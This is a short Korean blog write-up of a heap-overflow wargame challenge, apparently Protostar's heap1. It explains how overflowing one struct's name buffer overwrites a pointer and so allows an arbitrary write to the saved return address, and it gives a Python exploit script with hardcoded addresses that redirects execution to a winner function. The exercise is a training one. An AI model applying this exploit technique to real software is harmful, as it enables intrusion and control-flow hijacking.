이번에도 실행 흐름을 바꿔주는 문제네요.

그런데 함수를 따로 호출해주는 부분이 없습니다.

따라서 두 개의 strcpy를 이용하여 winner 함수로 분기를 시켜야하는데, 두 번째 strcpy에서 i2->name에 argv[2]를 저장합니다. 이 때, i1->name에서 overflow가 일어난다면, i2->name 부분의 주소를 임의로 바꿔 줄 수 있습니다. 이 말은, ret를 우리가 마음대로 주무를 수도 있고, got overwrite 또한 가능하다는 소리가 되겠네요.

저는 ret를 변경하는 것으로 풀이하였습니다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

winner = 0x8048494
system = 0xb7ecffb0
binsh = 0xb7fb63bf
ret = 0xbffffcac

payload = 'A'*20
payload += p(ret)

payload2 = p(winner)
print payload, payload2

heap1.py






+ Recent posts